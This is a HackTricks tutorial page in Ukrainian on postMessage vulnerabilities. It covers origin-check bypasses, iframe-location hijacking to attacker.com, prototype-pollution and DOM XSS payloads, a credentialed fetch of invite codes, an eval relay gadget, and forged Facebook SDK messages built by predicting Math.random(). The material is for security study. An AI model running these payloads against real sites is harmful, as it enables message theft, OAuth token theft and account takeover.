PostMessage Уразливості

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Надіслати PostMessage

PostMessage використовує наведену нижче функцію для надсилання повідомлення:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Зверніть увагу, що targetOrigin може бути ‘*’ або URL, наприклад https://company.com.\
У другому сценарії, повідомлення може бути надіслане лише на цей домен (навіть якщо origin Window object відрізняється).\
Якщо використано wildcard, повідомлення можуть бути надіслані на будь-який домен, і вони будуть надіслані на origin Window object.

Атака iframe & wildcard в targetOrigin

Як пояснюється в this report, якщо ви знайдете сторінку, яку можна iframed (без захисту X-Frame-Header) і яка відправляє чутливе повідомлення через postMessage, використовуючи wildcard (*), ви можете змінити origin iframe і leak чутливе повідомлення на домен, контрольований вами.\

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener exploitation

addEventListener — це функція, яку використовує JS для оголошення функції, яка очікує postMessages.
Код, схожий на наведений нижче, буде використаний:

window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return

// ...
},
false
)

Зверніть увагу, що в цьому випадку перше, що робить код — це перевіряє origin. Це надзвичайно важливо, особливо якщо сторінка збирається робити з отриманою інформацією щось чутливе (наприклад змінювати пароль). Якщо вона не перевіряє origin, attackers can make victims send arbitrary data to this endpoints і змінити паролі жертв (в цьому прикладі).

Перерахування

У щоб знайти event listeners на поточній сторінці ви можете:

  • Шукати JS-код на window.addEventListener і $(window).on (JQuery version)
  • Виконати в консолі інструментів розробника: getEventListeners(window)

  • Перейти в Elements –> Event Listeners в інструментах розробника браузера

Обхід перевірки origin

  • Атрибут event.isTrusted вважається безпечним, оскільки повертає True тільки для подій, згенерованих справжніми діями користувача. Хоча його важко обійти при коректній реалізації, його значення у перевірках безпеки істотне.
  • Використання indexOf() для валідації origin в PostMessage подіях може бути вразливим до обходу. Приклад, що ілюструє цю вразливість:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
  • Метод search() з String.prototype.search() призначений для регулярних виразів, а не рядків. Передача чогось, що не є regexp, призводить до неявного перетворення в regex, роблячи метод потенційно небезпечним. Це пов’язано з тим, що в regex крапка (.) діє як метасимвол-джокер, що дозволяє обходити перевірку за допомогою особливо сконструйованих доменів. Наприклад:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • Функція match(), подібно до search(), працює з regex. Якщо regex неправильно складений, вона може бути піддатливою до обходу.

  • Функція escapeHtml призначена для санітизації вводу шляхом екранування символів. Однак вона не створює новий екранований об’єкт, а перезаписує властивості існуючого об’єкта. Цю поведінку можна використати в атаці. Зокрема, якщо об’єкт можна маніпулювати так, що контрольована властивість не визнає hasOwnProperty, escapeHtml не спрацює як очікується. Це демонструється у прикладах нижче:

  • Очікуваний провал:

result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
  • Обхід escape:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"

У контексті цієї вразливості об’єкт File особливо експлуатується через його лише для читання властивість name. Ця властивість, коли використовується у шаблонах, не санітизується escapeHtml, що призводить до потенційних ризиків безпеки.

  • Властивість document.domain у JavaScript може бути встановлена скриптом для скорочення домену, що дозволяє послабити застосування same-origin policy в межах того ж батьківського домену.

Довіра лише origin + довірені ретранслятори

Якщо приймач перевіряє лише event.origin (наприклад довіряє будь-якому *.trusted.com), часто можна знайти “relay” page on that origin that echoes attacker-controlled params via postMessage до вказаного targetOrigin/targetWindow. Прикладами є маркетингові/аналітичні гаджети, які приймають query params і пересилають {msg_type, access_token, ...} до opener/parent. Ви можете:

  • Відкрити сторінку жертви у popup/iframe, який має opener щоб її обробники зареєструвались (багато pixels/SDKs підключаються тільки коли існує window.opener).
  • Навести інше вікно атакувальника на relay endpoint на довіреному origin, заповнивши поля повідомлення, які ви хочете інжектити (message type, tokens, nonces).
  • Оскільки повідомлення тепер надходить з довіреного origin, валідація тільки по origin проходить, і ви можете викликати привілейовані дії (зміни стану, API виклики, запис у DOM) в слухачі жертви.

Типові зловживання, помічені на практиці:

  • Analytics SDKs (наприклад pixel/fbevents-style) споживають повідомлення типу FACEBOOK_IWL_BOOTSTRAP, потім викликають backend APIs, використовуючи токен, переданий у повідомленні і включають location.href / document.referrer в тіло запиту. Якщо ви передасте свій токен, ви можете побачити ці запити в історії/логах запитів токена і витягти OAuth codes/tokens, що містяться в URL/referrer сторінки жертви.
  • Будь-який relay, що відображає довільні поля у postMessage, дозволяє вам підробляти message types очікувані привілейованими слухачами. Поєднайте це зі слабкою валідацією вводу, щоб досягти викликів Graph/REST, розблокування функцій або потоків, еквівалентних CSRF.

Поради для пошуку: перераховуйте postMessage слушачів, які перевіряють лише event.origin, потім шукайте same-origin HTML/JS endpoints that forward URL params via postMessage (marketing previews, login popups, OAuth error pages). З’єднайте обидва за допомогою window.open() + postMessage, щоб обійти перевірки origin.

e.origin == window.origin обхід

Коли вбудовуєте веб-сторінку в sandboxed iframe використовуючи %%%%%%, важливо розуміти, що origin iframe буде встановлено в null. Це особливо важливо при роботі з sandbox attributes та їхніми наслідками для безпеки та функціональності.

Вказавши allow-popups у sandbox атрибуті, будь-яке popup вікно, відкрите зсередини iframe, успадковує обмеження sandbox свого батька. Це означає, що якщо не включити також атрибут allow-popups-to-escape-sandbox, origin popup вікна аналогічно буде встановлено в null, збігаючись із origin iframe.

Як наслідок, коли popup відкрито за таких умов і повідомлення відправляється з iframe у popup за допомогою postMessage, обидва кінці (відправник і отримувач) матимуть origin, встановлений у null. Це призводить до ситуації, де e.origin == window.origin оцінюється як true (null == null), оскільки і iframe, і popup мають однакове значення origin — null.

Для додаткової інформації прочитайте:

Bypassing SOP with Iframes - 1

Обхід e.source

Можна перевірити, чи повідомлення прийшло з того самого вікна, в якому скрипт слухає (особливо цікаво для Content Scripts from browser extensions для перевірки, чи повідомлення надіслано з тієї ж сторінки):

// If it’s not, return immediately.
if (received_message.source !== window) {
return
}

Ви можете примусово зробити e.source повідомлення null, створивши iframe, який надсилає postMessage і негайно видаляється.

For more information read:

Bypassing SOP with Iframes - 2

X-Frame-Header bypass

Щоб виконати ці атаки, ідеально було б, якби ви могли розмістити сторінку жертви всередині iframe. Але деякі заголовки, такі як X-Frame-Header, можуть перешкодити цій поведінці.
У таких випадках ви все ще можете використати менш приховану атаку. Ви можете відкрити нову вкладку з уразливим веб-додатком і взаємодіяти з ним:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Викрадення повідомлення, надісланого child iframe шляхом блокування main сторінки

На наведеній сторінці ви можете побачити, як можна викрасти sensitive postmessage data, надіслане child iframe, шляхом blocking main сторінки перед відправленням даних та зловживання XSS in the child, щоб leak the data до того, як воно буде отримано:

Blocking main page to steal postmessage

Викрадення повідомлення шляхом зміни iframe location

Якщо ви можете iframe-нути веб-сторінку без X-Frame-Header, яка містить інший iframe, ви можете change the location of that child iframe, тож якщо він отримує postmessage, надіслане з використанням wildcard, атакуючий може change origin цього iframe на сторінку, controlled ним, і steal повідомлення:

Steal postmessage modifying iframe location

postMessage to Prototype Pollution and/or XSS

У випадках, коли дані, надіслані через postMessage, виконуються JS, ви можете iframe сторінку та exploit prototype pollution/XSS, відправивши експлойт через postMessage.

Кілька very good explained XSS though postMessage можна знайти за адресою https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Приклад експлойта для зловживання Prototype Pollution and then XSS через postMessage до iframe:

<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}

setTimeout(get_code, 2000)
</script>
</body>
</html>

Для додаткової інформації:

Завантаження скрипта з origin та поворот у ланцюжку постачання (кейc CAPIG)

capig-events.js реєстрував message обробник лише коли існував window.opener. На IWL_BOOTSTRAP він перевіряв pixel_id, але зберігав event.origin і пізніше використовував його для побудови ${host}/sdk/${pixel_id}/iwl.js.

Обробник, що записує origin, контрольований зловмисником ```javascript if (window.opener) { window.addEventListener("message", (event) => { if ( !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") && !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") && event.data.msg_type === "IWL_BOOTSTRAP" && checkInList(g.pixels, event.data.pixel_id) !== -1 ) { localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", { pixelID: event.data.pixel_id, host: event.origin, sessionStartTime: event.data.session_start_time, }) startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js` } }) } ```

Exploit (origin → script-src pivot):

  1. Get an opener: наприклад, у Facebook Android WebView повторно використовувати window.name з window.open(target, name), щоб вікно стало своїм власним opener, після чого надіслати повідомлення з шкідливого iframe.
  2. Відправити IWL_BOOTSTRAP з будь-якого origin, щоб зберегти host = event.origin у localStorage.
  3. Розмістити /sdk/<pixel_id>/iwl.js на будь-якому CSP-allowed origin (takeover/XSS/upload на whitelisted analytics domain). startIWL() потім завантажує attacker JS на embedding site (наприклад, www.meta.com), що дозволяє credentialed cross-origin calls і account takeover.

Якщо прямий контроль opener був неможливим, компрометація third-party iframe на сторінці все одно дозволяла відправити сконструйований postMessage батьківському вікну, щоб отруїти збережений host і примусити завантаження скрипта.

Backend-generated shared script → stored XSS: плагін AHPixelIWLParametersPlugin конкатенував user rule parameters у JS, доданий до capig-events.js (наприклад, cbq.config.set(...)). Впровадження breakouts типу "]} дозволяло інжектувати довільний JS, створюючи stored XSS у shared script, який віддавався всім сайтам, що його підключали.

Trusted-origin allowlist isn’t a boundary

Строге перевіряння event.origin працює лише якщо trusted origin не може виконувати attacker JS. Коли привілейовані сторінки вбудовують third-party iframes і припускають, що event.origin === "https://partner.com" є безпечним, будь-яка XSS у partner.com стає містком у parent:

// Parent (trusted page)
window.addEventListener("message", (e) => {
if (e.origin !== "https://partner.com") return
const [type, html] = e.data.split("|")
if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
})

Шаблон атаки, виявлений у реальному світі:

  1. Exploit XSS in the partner iframe і впровадити relay gadget, щоб будь-який postMessage став code exec всередині trusted origin:
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
  1. From the attacker page, надішліть JS у скомпрометований iframe, який пересилає дозволений тип повідомлення назад до parent. Повідомлення походить від partner.com, проходить allowlist і містить HTML, який вставляється небезпечно:
postMessage({
cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
}, "*")
  1. Батьківський фрейм інжектить зловмисний HTML, даючи JS execution in the parent origin (e.g., facebook.com), що може бути використано для крадіжки OAuth кодів або переходу до повного захоплення акаунта.

Ключові висновки:

  • Partner origin isn’t a boundary: будь-який XSS у «довіреному» партнері дозволяє нападникам відправляти дозволені повідомлення, що обходять перевірки event.origin.
  • Обробники, які render partner-controlled payloads (e.g., innerHTML on specific message types), перетворюють компрометацію партнера на same-origin DOM XSS.
  • Велика message surface (багато типів, відсутня валідація структури) дає більше gadgets для pivoting після компрометації партнерського iframe.

Predicting Math.random() callback tokens in postMessage bridges

Коли валідація повідомлень використовує «shared secret», згенерований за допомогою Math.random() (e.g., guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") }) і той самий хелпер також дає імена plugin iframes, ви можете відновити PRNG outputs і підробити trusted messages:

  • Leak PRNG outputs via window.name: The SDK auto-names plugin iframes with guid(). Якщо ви контролюєте the top frame, iframe-нете сторінку жертви, потім навігніть the plugin iframe до вашого origin (e.g., window.frames[0].frames[0].location='https://attacker.com') і прочитайте window.frames[0].frames[0].name, щоб отримати сирий Math.random() output.
  • Force more outputs without reloads: Деякі SDK expose a reinit path; в the FB SDK, firing init:post with {xfbml:1} змушує XFBML.parse(), знищує/створює заново the plugin iframe і генерує нові names/callback IDs. Повторний reinit продукує стільки PRNG outputs, скільки потрібно (зверніть увагу на додаткові внутрішні виклики Math.random() для callback/iframe IDs, тому solvers повинні пропускати проміжні значення).
  • Trusted-origin delivery via parameter pollution: Якщо first-party plugin endpoint відображає unsanitized parameter у cross-window payload (e.g., /plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET), ви можете інжектити &type=...&iconSVG=... одночасно зберігаючи trusted facebook.com origin.
  • Predict the next callback: Перетворіть leaked iframe names назад у floats в [0,1) і подайте кілька значень (навіть непослідовних) в V8 Math.random predictor (e.g., Z3-based). Згенеруйте наступний guid() локально, щоб підробити очікуваний callback token.
  • Trigger the sink: Сформуйте postMessage data так, щоб the bridge dispatches xd.mpn.setupIconIframe і інжектував HTML в iconSVG (e.g., URL-encoded <img src=x onerror=...>), досягаючи DOM XSS всередині hosting origin; звідти можна читати same-origin iframes (OAuth dialogs, arbiters, etc.).
  • Framing quirks help: Ланцюг вимагає framing. У деяких mobile webviews X-Frame-Options може деградувати до непідтримуваного ALLOW-FROM, коли присутній frame-ancestors, і параметри “compat” можуть примусити permissive frame-ancestors, дозволяючи side channel window.name.

Мінімальний приклад підробленого повідомлення

// predictedFloat is the solver output for the next Math.random()
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "")
const payload =
callback +
"&type=mpn.setupIconIframe&frameName=x" +
"&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e"
const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com`
iframe.location = fbMsg // sends postMessage from facebook.com with forged callback

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks